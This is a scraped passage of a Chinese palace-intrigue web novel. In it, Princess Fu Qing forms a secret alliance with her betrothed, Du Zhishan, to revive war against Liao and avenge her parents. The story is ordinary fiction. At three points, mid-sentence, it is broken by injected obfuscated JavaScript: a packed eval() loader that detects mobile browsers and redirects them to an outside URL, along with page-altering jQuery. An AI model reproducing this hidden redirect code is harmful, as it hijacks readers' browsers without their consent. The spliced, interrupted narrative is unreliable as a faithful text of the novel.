杜夫人年逾四十,却是风华依旧,穿一袭青色长袖褙子,落泪的样子如梨花带雨。杜夫人和杜太傅成亲已三十余年,一直颇受杜太傅宠爱。二人恩爱多年却只有杜至善这一个孩子,她自然将这个儿子看护得如同眼珠子一般。 这次杜太傅没有如往日般纵容杜夫人,拐杖在地板上砸得掷地有声,“胡闹!这是陛下赐婚,你胆敢让陛下收回圣旨!我看你是疯了!” “那能怎么办!”杜夫人抓着儿子的袖子抹泪,“我就这么一个儿子,含辛茹苦养这么大,教育得知书达理、一表人才,居然要娶那么一个不知检点、行为放荡的女子为妻,凭什么!” 杜太傅眉头皱成一个深深的“川”,他自然也知道苻庆如今做得有多么过分,也知道自己儿子在这件事上实实在在受了委屈。但对于杜太傅来说,杜家能够娶到公主还有更重要的意义,因此无论如何他都不可能阻挠这桩婚事。“即便如此,那人也是公主!这门婚事也是陛下御赐!谁都改变不了!” 杜夫人刚才说的虽斩钉截铁,但到底也是能够明白这中间的利害程度的,如今见事情已经没了转圜的余地,只能趴在杜至善身上哭得更加伤心了。 “母亲,不要为儿子伤心了。”杜至善眼见着袖子越发被糟蹋得不成样子,强忍着心中不适开口说道:“母亲放心,儿子自始至终都没有将这件事放在心上,母亲就更不要为此哭泣了。” “你疯了?”杜夫人不明白自己的儿子是怎么想的,“你未来妻子尚未过门就在府中公然豢养戏子,你若还要与她成婚,未来便要成为整个京城的笑话了!” 杜至善今日又是被父亲临时从国子监叫回来的。近日国子监修书的事务十分繁忙,若不是杜太傅暗中传信说他母亲在家哭得几乎要昏厥过去,他是真的不想回来。就这样,杜至善从宫中出来的时候特意磨蹭了好一会,本以为回来的时候母亲已经被父亲劝得差不多了,谁知回来后却还是没能躲过去。 他本就因为被父母突然叫回来有些不满,回来又要忍受杜夫人没有意义的唠叨,实在是再也没有耐心陪着杜太傅打哑谜了。 “母亲,儿子尚公主,又不是为了成家,公主所作所为自然与儿子无关了。” 杜夫人终于舍得抬起头看一眼杜至善平静的脸色,又回头看了看站在一旁连连点头的丈夫,最终停止了嚎啕。“你这话是什么意思?” 杜至善微微一笑,看向杜太傅,“陛下赐婚乃是为了能够更加名正言顺重用儿子,到时候任命下旨,儿子忙于政务,与公主相处的日子本就不多。更何况即便成婚后,公主也有自己的府邸居住,咱们不过担一个虚名罢了。” 杜夫人再次看向杜太傅,杜太傅轻轻摸过胡须,“好,你能有如此见识,我也就放心了。为人做事最忌讳便是目光短浅,你如今能看到赐婚背后的利害,便证明这些年的书没有白读。” 但杜夫人不在意目光短不短钱,她只在意她的宝贝儿子能不能找到温婉可人的妻子。“那,那你岂不是此生都不能再婚娶了?”杜夫人的眼泪马上涌了出来,“我可怜的儿子啊!” “别喊了!”杜太傅终于忍不住出声喝止,“刚才你儿子不是说了吗?平日里公主又不会到杜府居住,自然也就管不了他身边跟着几个伺候的丫鬟,亦或者是红颜知己了。” 这些话杜太傅本不想由自己点破,但看杜夫人转瞬之间就要变脸,实在是再听不下去了。 杜夫人终于反应过来,一把将眼泪抹净,眨眼间便眉开眼笑,抓着杜至善的胳膊说:“儿子你放心,到时候为娘定为你选上几个貌美如花、善解人意的丫鬟跟着,等到时候或收为侍妾,或暂时作为通房,那个女人就都管不着了。” 杜至善很想告诉母亲自己对娶亲并无兴趣,从小到大杜至善心中便只有一个理想,为了这个理想他愿意付出一切、包括自己的生命,至于婚娶自然不在他的考虑范围之内了。但看过自己已经被杜夫人的眼泪糟践得一塌糊涂的袖子,杜至善立刻决定还是暂时闭嘴。 杜太傅却已经盘算起另一件事,他如今每日在东宫教太子读书,自然能够更加敏锐地觉察出天家对于外界信息的态度变化。“明德,话虽如此,如今京城中对你和公主的婚事议论纷纷,你缄口不提,只怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446102|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陛下不会明白你的好意。” 杜至善点头。国子监人多口杂,他自然也能够听到一些风言风语。眼见着这样的闲言碎语居然都传进了国子监中,杜至善也就能想象到内廷中听闻到的情况。“父亲放心,儿子早已想好,明日儿子便会亲自上殿,毛遂自荐为陛下解去燃眉之急。” 晏呢殿中,薛贵妃也早已听说了城中盛传的苻庆的事情,她明白这是苻庆对皇上派邓嬷嬷入府监视表达的不满。薛贵妃并不将这件事放在心上,左右皇上确实在赐婚之事上牺牲了苻庆,朝中无数曾跟着苻坚将军出过力的武将都盯着皇上下一步的所作所为。在这个节骨眼上薛贵妃可不想被皇上抓出去当坏人,为了避开此事,薛贵妃早早地便在五六天前对外宣称自己头风又犯了,必须卧床静养。现下,薛贵妃正戴一紫色抹额,着一身粉紫色里衣倚在床上看书。 “娘娘,紫宸殿来消息了。”花露走进屋内。 薛贵妃头也不抬,“告诉陛下,我头风还没有好,只怕过了病气给陛下,还请陛下改日再来吧。” “娘娘,不是陛下的消息。” 薛贵妃立刻明白过来,抬起头,将书籍轻轻放在腿上。 花露皱着眉头,压低声音说道:“消息说今日早朝过后,杜博士便请求面见陛下,说要为陛下讲一件要事。” “要事?”薛贵妃眉毛一挑,“如今杜至善能够与陛下所讲的要事也就只有庆儿这一件事吧?” 花露点头,“现在,杜博士还在紫宸殿呢。” 薛贵妃叹口气,抬手将头上抹额利落摘下,起身便要下床,“再派人去紫宸殿门口守着,有任何消息都要回来通禀我。” 花露称是,出去找了人,接着又回到屋内为薛贵妃梳妆。 花露见薛贵妃眉头紧锁,担心对方气急攻心坏了身子,连忙安慰道:“娘娘,杜博士如今已经被陛下赐婚,与公主已经成了一荣俱荣、一损俱损的关系。我想着,杜博士若是聪明,便不会做什么伤害公主的事情吧?” “伤害公主?即便他杜至善吃了熊心豹子胆,我想他此刻也绝不敢想这件事。”薛贵妃自己戴上耳坠,“我只怕他又想出什么法子变着花地折磨庆儿罢了。庆儿在我身边长大,被我娇养惯了,是一点亏都不能吃的。” 花露跟着点头,她虽说并未真的伺候过苻庆一日,但是跟在薛贵妃身边多年,自然知道在薛贵妃心中苻庆有多么重要。“公主千金贵体,自然是不能吃亏的。” 二人正说着话,忽然只听见外面一阵急匆匆的脚步声由远及近。 “娘娘!杜博士方才已经出宫了!” 花露扫过一个眼刀,厉声说道:“糊涂东西!一点规矩都不懂,娘娘这里也容你这般大呼小叫!” 那婢女并不害怕,只是喘着气继续说道:“杜博士出宫往公主府去了!” “你说什么!”薛贵妃转过头,“他去找庆儿做什么?” 婢女皱着眉头,“杜博士说,他有办法化解这场风波,解陛下燃眉之急。只请求陛下能允许他在成婚之前,到公主府上拜见一次。” 薛贵妃呼出一口气,看着铜镜中自己的面容。 杜至善既然敢这么说,说明他已经对于苻庆有百分百把握的了解,起码知道如何哄着苻庆愿意与自己和平相处,暂时避免针锋相对的局面。不论他用什么办法,其一他们二人总归是已经成为一条船上的人,因此薛贵妃敢确定他绝对不敢对苻庆做出什么不敬的举动;其二薛贵妃自从知道了杜至善被人无故从雅集上殴打一顿后,便想到这件事可能是苻庆所做,所以薛贵妃完全确定苻庆能够应付得了杜至善。 既然杜至善不会做出伤害苻庆的事情,若他真能哄得了苻庆听话,对于薛贵妃来说也是好事一桩。更何况苻庆和杜至善此前接触甚少,如今借这种机会多说说话,也能够培养些感情,更有助于二人婚后和睦相处。 想到这,薛贵妃忽然伸手把头上的簪子拔下来,一只手扶着脑袋做出弱不经风的样子。 “花露,快帮我卸掉钗环,本宫的头痛病又犯了。” 13. 盟友 比起晏呢殿中的有条不紊,此时公主府才是乱成一团。 苻庆正在揽晴轩的天井中急得团团转,松醪站在一旁皱着眉,只有程怜香正坐在抄手游廊下吃着杨梅,一副怡然自得的样子。 此时苻庆已经接到通知,杜至善居然真的得到陛下口谕,能够到公主府面见自己。这是苻庆从未想到的问题,原先总觉得皇上怎么样都会看在祖宗礼法的份上阻挠杜至善,但现在看来或许真的是这几日自己做得有些太过分了,使得皇上竟然连男女不得私相授受的规矩也不顾了。 “混账东西!谁给他的胆子居然敢到公主府来找我!”苻庆心中不痛苦,“干脆,让人打他一顿,把他丢出去就是了!” 松醪是真的怕苻庆能做上来这种事,连忙劝说道:“公主,杜公子是得了陛下口谕,才到公主府拜访的。您若是此时对杜公子动手,那可是公然抗旨啊!” 苻庆在天井中转了一圈又一圈,“那还能怎么办?杜至善已经见过我的脸了,若此时让他发现当时在耦园打他的人是我,陛下非扒了我的皮不可。”转过头,正巧看见程怜香的样子,顿时感觉气不打一处来,指着程怜香说道:“你到底怎么回事?怎么还能这么高兴?有功夫还不快过来帮我想办法。” 今日程怜香本要唱《生死恨》,此时已经扮上相,穿着金黄色长袖戏服,外头罩着珍珠结成的锦衣,头上凤冠上镶嵌的珍珠发出流光溢彩的光芒。“公主,此事是你一人所为,我能想到什么办法?” “你!”苻庆随手抓起盘中一颗杨梅砸过去,去被程怜香含着笑一把接住,放嘴里吃了。 这一来一回点醒了松醪,她忽然在脑子里闪过一个念头,“公主,奴婢想到一个办法。” 苻庆看向松醪。 “公主不如干脆让程伶人为公主化一个戏妆,戏曲妆容较浓,那日杜公子也不过情急之下看到了公主的脸,想来也不会记得很清楚。” “有道理啊!”苻庆跑到程怜香面前,“到时候我再穿上你的戏服,杜至善绝对不可能认出我。” 现在轮到程怜香不乐意了,“你?你又不会唱戏,让你穿真是玷污了这些好衣服。” “再好的衣服不也是我买回来的。”苻庆见程怜香梗着脖子,知道硬的不行需要来软的,转而拉住程怜香的袖子开始撒起娇来,“求求你了,好怜香,你就救我这一回吧。” “你……”程怜香噤了声,他低头看着苻庆圆圆的小脸,忽然也有些好奇苻庆若扮上妆是什么样子。“好吧好吧,就当我谢谢你帮我给师父买药。” “就知道怜香你最疼我了!”苻庆拉起程怜香。“快走吧,杜至善已经在正堂等着了。” 杜至善在正堂中连喝了三碗茶,还是没有见到苻庆。在到公主府之前,杜至善猜到苻庆会不想见自己,但是也知道,苻庆没胆量真的不出来见自己,因此此时也只是慢条斯理地品鉴着第四杯茶。 “公主殿下到!” 杜至善站起身,却见两个着戏服的女子如照镜子一般走了进来。 “真是稀客啊,杜公子怎么想到来我公主府了?” 杜至善这才回过神来,想到苻庆找到的那个面首是一个唱戏的伶人,如今看来外界所传并非空穴来风,苻庆确实是被那个伶人迷得有点疯魔了。 杜至善从震惊中回过神,躬身拜道:“拜见公主殿下。” 苻庆此时肯定要做足了样子,笑着让杜至善起身后,自己拉着程怜香的手坐在了杜至善对面的圈椅上。程怜香被苻庆紧紧抓着袖子,只能坐在圈椅的扶手上,整个人都和苻庆紧紧挨着。 “杜公子今日登门,所为何事啊?” 杜至善好似完全看不见对面两人蜜里调油的样子,微笑着重新坐下后,不疾不徐说道:“杜某今日登门,是为解陛下心愿而来。” 听杜至善这样说,苻庆鼻子轻哼一声,右手环抱着程怜香的怀抱更紧,“既然如此,杜公子也看到我的答复了,还请杜公子回去吧。” 杜至善并不着急,反而是一副成竹在胸的模样,还有工夫掀起茶盖继续品茶,“公主何必如此着急,连一句话都不肯听我讲吗?” 苻庆此时已经完全确定杜至善并未认出自己就是在耦园雅集上殴打他的那个人,因此有些挑衅般看向杜至善,“那你说吧,杜公子究竟所为何事?” 杜至善缓缓放下茶盏,坐直身体,“我说可以,但我只对公主一个人讲。” 苻庆按捺住性子,松醪也早已心领神会,立刻领着几个婢女走出正堂。 “这样你总可以讲了吧?” 杜至善没有说话,只是用下巴指了指程怜香。 “怜香自是不用回避的,我们两人之间早不必分你我。”做戏要做全套,苻庆说着话,还不忘用手指蹭着程怜香的下巴。程怜香从一开始就很不自在,但为了报答苻庆愿意帮自己照顾师父,也就只能依偎在苻庆怀中笑着看她。 “公主此言差矣,程怜香即便是公主您的面首,说到底也不过是个奴婢,上尊下卑是祖宗之法。更何况,如果我猜的没错的话,如今程怜香的身契也不在您手中吧?”杜至善微笑,他好像早已经想好了苻庆的所有可能回答,并且一一想好了解决应对之法。而这样的行为在苻庆眼中,本身就充满了挑衅。 苻庆能感觉到程怜香的身体立刻僵住了。明白再继续留程怜香在此演戏已经没有了意义,苻庆不说话,慢条斯理整理过衣袖才挥手对程怜香说:“你先回去等着我吧。” 待厅中只剩下苻庆与杜至善二人,苻庆已经连最后一点客气都懒得表演,瞬间阴沉下脸来说道:“杜公子,接下来你说的话最好真的值得我听一听。” “这是自然。”杜至善颔首微笑,“公主,近日城中风言风语不断,微臣相信公主也是略有耳闻的。” 居然是讲这个?苻庆毫不在意,还能想着办法回怼杜至善,“自然知道。只不过那些事并非只是风言风语,杜公子您心中也要早有个数才好。” 听了这话杜至善并不恼,反而一副宽容大度的样子点头说道:“公主放心,微臣早料到公主会这样讲。现在微臣也可以肯定地对公主讲,那些话我一个字都不会信的。” 苻庆变了脸色,她没想到杜至善一个熟读圣贤书的文人居然对于未来妻子的花边传言毫不介怀,如果这样的话那她之前做的事情就变得毫无意义,因此皱起眉头看着杜至善。 “微臣知道公主打心底不愿意与微臣成婚,因为在公主心中微臣实在是个无足轻重的小人物。微臣如今不过是国子监博士,夸下海口只会让人笑话。所以微臣只讲一件事,我父亲是当今太子太傅,在东宫教授太子读书,而当今太子又是公主姨母的亲儿子,公主您说难道咱们不是早就是一条船上的人了吗?” 这些话苻庆无法反驳。杜太傅教授太子,早就被顺理成章划为太子党。而自己,即便是看在姨母的脸面上,也绝不可能抛开至亲反而去支持旁的皇子。因此在这个角度上,她与杜家确实早已经被绑定在一起。 杜至善见苻庆不分辩,知道对方这是默认了自己说的话,继续说道:“公主也可以尽管放心,微臣中进士时位列甲榜第三名,如今在国子监的工作也是有口皆碑。微臣敢打包票,日后绝不可能一辈子做一个小小的国子监博士,辱没了公主名声。” “你说得好听。”苻庆装作满不在乎的样子,“我爹在世时,你爹曾多次上奏说我爹拥兵自重,理当早日押解回京。若不是陛下明事理,恐怕我爹早被你爹构陷下狱了。有如此深仇大恨在前,我怎可能做你家的媳妇?” “这便是微臣要同公主讲的第二件事了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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杜至善明白对方这是正在思虑自己的建议,因此趁热打铁说道:“公主是女子,有些事情到底还是不如我便利,但公主也拥有微臣一直想得到的东西。” 苻庆皱眉,忽然反应过来,“你是想借与我成婚一事,笼络我背后的武将势力。没有他们,你是绝不可能打过滹沱河的。” 杜至善缓缓点头,“只要公主答应,能够安安稳稳与微臣成婚,达成与微臣的同盟,微臣愿意做公主手中的一把刀。” “那杜太傅怎么办?”苻庆沉声问道。“杜太傅一向主和,若是让他知道你一心想要大夏与辽再次开战,他会同意吗?” 这件事早已经在杜至善嘴边咀嚼了一遍又一遍,此时终于有机会说出实话,他的眼睛中都闪着光芒,“我曾答应过我父亲,此生终将拜相入将、名垂青史,只不过究竟如何达到便要看我自己选的道路了。我父亲以为他已经为我选定了一条最好的路,但我偏偏不愿意。只要我此生有机会名垂青史,那我的名字必然是和燕云十六州连在一起的!” 看着杜至善的眼睛,苻庆立刻就能明白对方并非欺骗自己。因为那双眼睛苻庆再熟悉不过,每当她独自待在屋里的时候,她曾无数次通过铜镜看到过一双相似的眼睛。这么多年了,苻庆再也没有听到过这种话,这个秘密她一直深深地埋藏在心底,连对薛贵妃和松醪都不曾言明过。她们都以为苻庆已经认命了,已经接受了现实。但她们不知道的是,入宫六年,苻庆没有一日忘记过这个目标。 这个目标曾经是她父亲苻坚将军的志向,如今由她来继承。 苻庆努力压抑住胸中的情绪,半晌才站起身,“你放心,你我之间是陛下赐婚,不论如何这都是无法改变的。等陛下订下婚期,你我二人便只需要等着按部就班行礼成婚就是。我不会让你失望的。” 杜至善已经明白了苻庆话中的意思,见二人的同盟已经达成,杜至善也不再久留,立刻起身行礼,“感念公主大恩,微臣告辞。” 14. 身契 杜至善离开后,苻庆一个人在正堂中坐了许久,松醪虽不知道二人谈话内容,但从苻庆的反应便能看出这次对话非比寻常。眼见着太阳快要落山,松醪端着桃花酥走进来,轻声问道:“公主,奴婢端了些桃花酥来,下午见客公主也累了,吃一点垫垫肚子吧。” 苻庆接过桃花酥,却只是放在了一旁的桌子上。 “公主。”松醪并不知道杜至善葫芦里卖的是什么药,只当是对方威胁了苻庆,斟酌着开口,“不论杜公子说了什么,贵妃娘娘总是站在您身后的,万事您都不要怕。” “我不怕。”苻庆笑一笑,“杜至善只是来提醒我,如今我们已经是一根绳上的蚂蚱,一损俱损,他叫我大可不必拿他当敌人看。” 没想到杜至善居然能够轻而易举劝得了苻庆,松醪缓缓松了口气,“杜公子此话倒是也有道理。” 苻庆看松醪半晌,最终还是决定不能将她与杜至善的同盟告知松醪。若松醪知道此事,难保薛贵妃不会知道。苻庆知道姨母一直疼爱自己,是绝对不可能允许自己以身犯险的,更何况是做出挑起两国战事这样的事。 苻庆点头,继续安抚松醪。“我也这么觉得。他走后我也细细盘算了,我与他斗是没有好处的,还不如退一步,也算给宫里一个交代。” 松醪很高兴苻庆能够想明白,心里竟觉得这个杜至善也算是有几分主意的人。“若公主能这么想,贵妃娘娘也就放心多了。” 苻庆笑一笑,拿起一块桃花酥吃。刚尝一口,苻庆忽然想起好像还有一件事没有解决。 “不对,程怜香呢?” 松醪歪头,不明白苻庆的问题从何而来,“程伶人早已经回揽晴轩了啊。” “坏了。”苻庆忽然想起杜至善故意在程怜香面前提出的身契一事,连忙站起身,三步并作两步往揽晴轩走去。 回到院中,揽晴轩静悄悄的。苻庆还摸不清情况,只能先往卧房中走去。 走进卧房,转过屏风,苻庆看到程怜香此时已经卸下盔头,换上了一件普通的月白色直裰。正背对着苻庆,侧躺在床上。 “怜香?”苻庆蹑手蹑脚走过去,“怜香,你怎么先回来躺下了?你还没帮我卸妆呢。” 程怜香顿了一下,到底还是转过来站起身。苻庆仔细一看,程怜香脸色难看得吓人,不用说便知道是生气了。 松醪端着淘米水与澡豆进屋,将东西放在桌上,驾轻就熟地退出去了。 “用澡豆多搓洗几遍就行。”程怜香把苻庆头上的盔头拆下收好,面无表情地说道。 苻庆本就懒散惯了,如今面上敷了厚厚的油彩,身上戏服也实在不便,决定先卸下包袱再解决问题,因此只是手脚麻利地脱下戏服,只穿着里面的中衣捧起水洗脸。 用澡豆仔细搓洗几次,苻庆才感觉脸上干净了,拿过毛巾仔细擦洗过手和脖颈,才心满意足地长舒一口气。抬头,看到程怜香还是像刚才那样阴沉着脸站那,揣着明白装糊涂笑着问道:“这是谁又惹着咱们程老板了?” 程怜香也没客气,他本就有一肚子话要问苻庆,话如同爆豆子一般吐了出来。“正好,那我问问你,今天杜公子说的究竟是不是真的?我的身契究竟在不在你手里?” 苻庆料到程怜香还在生气这件事,解释道:“确实,你的身契如今还在宫里呢。但你放心,这件事和我之前答应你日后放你出府是不相悖的。” “怎么不相悖!”程怜香突然像炸了毛的猫,“你知道拿不回身契这对于我意味着什么吗?你以为你说放我走便行了?我没有户籍,律法上还是个奴婢!到时候别说唱戏做营生了,谁看到我都可以以逃奴罪将我送到官府!我哪还有什么自由可言!” 苻庆被程怜香吓了一跳,抓着自己的胳膊说道:“你吼什么?我又不是不知道这些事情。不瞒你说,即便是松醪,她的身契也在宫里宫正司呢。我确实搬出了宫中,但公主府是陛下为我修建的,公主府内一切事物都归宫内所有,连这些下人奴仆也不意外。你以为我是故意把你的身契丢在宫里吗?那是我没有办法呀。” 听了苻庆的解释,程怜香虽然还是生气,但到底心里已经明白了过来了。联想起之前苻庆说过做公主受多方桎梏,即便是个人婚姻都无法做主,又觉得自己从前想着身契能在苻庆手中实在是太过于异想天开。 那日在宴席上,确实是陛下身边的公公带自己找师父签身契的,这相当于自己是做了宫中的奴婢,只是被皇上又赐给苻庆而已。苻庆即便再得皇上宠爱,也不可能在出宫时有资格拿走宫人的身契,更何况这座公主府在本质上,不还是皇上亲手为苻庆建造的又一座牢笼吗? 苻庆见程怜香愣住,以为对方是不相信自己,继续保证道:“程怜香,你放心,我答应过你的事情一定说到做到。日后到你出府的时候,我一定进宫替你求了恩典。如今后宫事务是我姨母打理,我姨母本就不愿意我留你在府中,要拿出你的身契肯定是一件很简单的事情。” 看着苻庆信誓旦旦再三保证,程怜香自己都觉得该放下心来才是。可不知道为什么,心里那股火还是不肯熄灭。这股火早在今天杜至善说出他不过是公主府一个奴婢的时候就已经燃起来了,只不过后面因为杜至善还将自己逐出了正堂而欲燃愈烈。 程怜香也说不上来自己这么生气究竟是因为什么,他只是觉得杜至善那副高高在上的模样刺痛了他,并且偏偏他还不能反驳,因为说到底这座公主府未来真正的男主人还是杜至善。 “反正说到底,我也不过是公主的一个奴婢罢了。为人奴婢本就下贱,公主是要赏要罚还是或剐或杀,我都领受着便是了。” 苻庆听了程怜香这话,脸上反而笑起来,“还或剐或杀?程怜香,我就想让你从了我而已你都不愿意,我若真将你剐了杀了,你岂不是做鬼都不会放过我。” 程怜香这才意识到自己的话确实有些矛盾,自己如今来到公主府多日了,每日锦衣玉食不说,流水的珍宝日日都会送到院中,而苻庆除了刚见面第一晚的那一巴掌之后再没打骂过自己。自己如今这奴婢当得,确实不仅没受累,今早瞧着还仿佛胖了一点。 “你知道什么!”程怜香嘴硬了一句,别过头不再说话。 苻庆不知道程怜香是没话说了,只当他还在生气,想了想觉得只有财帛才能打动人心,耐着性子继续说道:“好了,你放心吧。等明日一早我再送你一套点翠的盔头,你就别生气了。” 说完,哼着曲往暖阁去了。 程怜香扭过头,看着苻庆离开的背影。说句容易叫人打的话,其实程怜香现在很讨厌苻庆总用金银财宝来堵他的嘴,虽然不知道自己到底在期待什么,但总归不是一堆冰冷的物品。因此程怜香只觉得此时心里像被猫爪子挠过一般,疼倒是不是很疼,只是总不服帖。 苻庆回暖阁敷过面脂,早早躺下安歇了。听着松醪吹灭蜡烛走出暖阁,苻庆翻过身,又睁开了眼睛。 六年,这时间说长不长,说短也不短。苻庆还记得刚入宫时,后宫还有宫人觉得她是冒牌公主,对她不恭敬。转眼六年过去,这六年间姨母待自己如同亲生女儿,皇上也可以说得上是对自己宠爱有加,宫人们早已经将苻庆看做是一个真真正正的公主了。苻庆知道,宫人们甚至私下议论,自己即便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446104|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是比起皇室正统血脉的公主也不逊色,甚至还有人说苻庆实则本就是皇上遗落在宫外的私生女,如今只是借名头领回宫中罢了。 但苻庆这六年间,没有一日忘记过自己如今的荣华富贵是用什么换回来的。那是六年前的正月十五,宫中忽然传旨到锦西城。圣旨中说当时还是妃位的姨母不慎滑胎,失去了一个已经八个月大的男胎。陛下为了宽慰姨母,一面升姨母为贵妃,一面又开恩允许苻庆的母亲入宫照顾小产的妹妹。 不巧的是,那段时间苻夫人染了风寒,实在无法经受长途跋涉。为了宽慰妹妹,苻夫人便要苻庆跟随使臣回宫,探望姨母。直到今日,苻庆还能记得那段路走得有多么艰难,整整半个月一队人马才回到京城。那时候,苻庆本来还以为自己只会在京城中居住两三个月,却不想却是六年。 四月初八是原定的返程之日,提前十来天苻庆便为回家做准备。她为父亲买了好酒,为母亲买了新的衣服料子和首饰,装了大大一个包袱,只等着能够回家亲手交到父母手上,和父母讲讲自己这几个月来在京城中的见闻。然而,事情突然就发生了。 四月初一,前线急报,锦西城忽然受辽人围攻,苻坚将军请求朝廷增援。皇上立刻同意,调了附近的两支大军前去,其中就有当时还在边关做总督的赵王带领的军队。可惜,一援兵到达的时候已经太迟。四月初八,赵王发回羽檄,锦西城早在两日前被破,城中被辽人洗劫一空,苻家阖府无一生还。 苻庆还记得一开始她总不肯相信这件事,她不相信这个世界上还有爹爹打不赢的仗。消息传回京城后,姨母因为姐姐去世哭得死去活来,而她却连一滴泪都没掉过。直到半月后,装着父母遗体的棺椁运抵京城。看着那个棺材沉入土坑中,苻庆才终于明白她已经变成一个孤儿了。当时她突然挣开姨母的手,纵身扑到父母的棺椁上,大喊着求爹娘带自己走,之后便晕倒过去。 但最终,这些话并没有成真。在姨母事必躬亲地照料下,苻庆好好地活了下来,她用爹娘的性命换回了大夏公主的尊荣。 也许在如今诸多人的眼中,苻庆已经完全习惯了做公主的日子,她活得恣意潇洒、无法无天,仗着陛下和贵妃的宠爱在宫中横行霸道。但在苻庆心中,这六年来,无数个日日夜夜,她从没有忘记过是谁害自己成为这座深宫中的孤女,是谁杀死了她的爹娘。早在苏醒过来的那一日起,苻庆便知道此后她的余生中只有一件事要她去做,那就是为父母报仇。 只可惜锦西城陷落后,朝野震动。除了苻坚将军,朝野上也没有了能与辽人一战的大将,最终主和派取得了胜利。皇上派赵王前去与辽人议和,最终以大夏每年给予辽岁币十万两的代价,和辽国达成了共识。之后六年,两国之间再没有发生过任何战事,而赵王也因为议和有功,不久便被皇上召回宫中封为膘骑大将军,掌管兵部。苻庆明白,如今皇上对自己宠爱有加,其中也有愧疚的因素,毕竟就皇上目前的布局而言,他是绝不会再想要收复锦西城,为苻家报仇雪恨了。 这些年,苻庆一直等待着一个机会,一个能够让主和派再次落败,和辽国开战的机会。没想到,如今这个机会竟自己找上门了。 杜至善说得没错,在很多事情上他比起苻庆方便许多。而苻庆能给予他的,便是苻庆身后的武将势力,以及潜藏在其中、同样等待着的主战派大臣。他们中许多人都真刀真枪与辽人搏杀过,与辽人是血海深仇,绝不会像那些文官一般见利忘义、贪生怕死。 月光皎洁,透过窗纸照进屋内,苻庆的眸子中闪着光,轻声说道:“爹娘,你们放心吧,咱们苻家的仇,女儿一定会报的。” 15. 客人 第二日一大早,苻庆就听见揽晴轩院子里有一只乌鸦在叫个不停。苻庆翻来覆去好一会还是睡不着,干脆耷拉着鞋子起身,准备自己去把这只烦人的乌鸦赶走再说。谁知出门的时候,差点与着急推门的松醪撞个正着。扶着惊魂未定的松醪,苻庆还有心情开玩笑:“怎么这么着急?可是陛下亲自到府上来了?” 松醪没有被苻庆逗笑,反而苦着脸说道:“公主,宁国公家的三姑娘,瑕英长公主来了。” 这下轮到苻庆皱眉头了,“宁慈心?她怎么想起来找我这来了?” 宁国公早年曾跟着先皇东征西讨,即便是苻庆的父亲苻坚将军都对他敬重有加。宁国公与夫人有五个儿子,却只在年逾五十的时候得了这么一个女儿,因此对这个女儿可以说是千依百顺,即便是宁慈心要天上的星星他都能想办法去摘。而宁慈心也没有让人失望,果然养出一身蛮横无理的脾气,才八岁上便闹出打死身边丫鬟的消息传出府。 城中对宁国公溺爱女儿的事情议论纷纷,谁知宁国公不仅不想办法加以约束,反而转头进宫专门为小女儿求来了公主的头衔,生怕宁慈心在外吃一点亏。前几年宁国公六十大寿,皇上知道对于宁国公已经仨赏无可赏、封无可封,便加封宁慈心为瑕英长公主,也算了却宁国公一桩心事。要知道在如今的大夏,除了先皇后生下的嫡出公主,只有宁慈心这一位没有成婚的长公主了。 从前先皇后在世时,由于宁国公夫人与先皇后幼时交好,宁慈心便会跟着母亲入宫拜见先皇后。那时苻庆便与宁慈心很不对付,二人几次差点在长秋宫直接掐起来。后来先皇后薨逝,苻庆也就再也没有见过宁慈心,如此算来也已经有三四年的光阴了。今天不知道是哪阵风刮错了,居然把宁慈心都给吹到她的公主府来了。 苻庆叹口气,看着匆匆为自己梳妆的松醪,无奈感慨道:“这几日,我这公主府可真是热闹啊。” 松醪同情地看着苻庆。她伺候苻庆时间久,自然知道苻庆根本不想见宁慈心。但是宁慈心长公主的身份加上父亲宁国公的地位,足以支撑她在京城这地方横着走了,苻庆即便心有不甘,也只能乖乖收拾好出去迎接她。 梳妆结束,来不及吃饭,苻庆便提着裙摆急匆匆向外走去。路上正好碰见起床吊嗓子的程怜香,对方被她一大早便穿金戴银的阵势吓一跳,出声询问:“你是要入宫请安去吗?” 苻庆头也不回,“讨债的来了!” 程怜香看着苻庆一溜烟离开的背影,不自觉地笑出了声。 正堂内,宁慈心穿着一袭橘红色长袖褙子,头上戴金丝攒红玛瑙的步摇,正在勉为其难品尝着苻庆公主府上的茶叶。 苻庆一进门便看见宁慈心穿着打扮如同有什么喜事一般,心中翻了个白眼,面上还是走上前向宁慈心行礼。“见过长公主殿下。” 宁慈心下巴一挑,刚准备好好打量打量许久不见的故人,谁知苻庆不等宁慈心说话,自顾自起身走到一旁太师椅上坐下,还不忘伸手示意丫鬟赶紧给自己端上一杯茶。 宁慈心冷笑一声,“到底是没人养的,真是不懂规矩。” 苻庆这下可以确定这些年宁慈心是没有半分长进了,看来还是从前口无遮拦、目中无人的性子。但这到底是在她苻庆的公主府上,宁慈心出言不逊在先,也就怨不得她苻庆不懂得待客之道。 “有病。”苻庆干净利落地说道。 宁慈心被苻庆的话噎了一下,平日里她很少能够听到有人这么对她说话,怒火瞬间就被点燃了。“苻庆!你刚才说什么!” 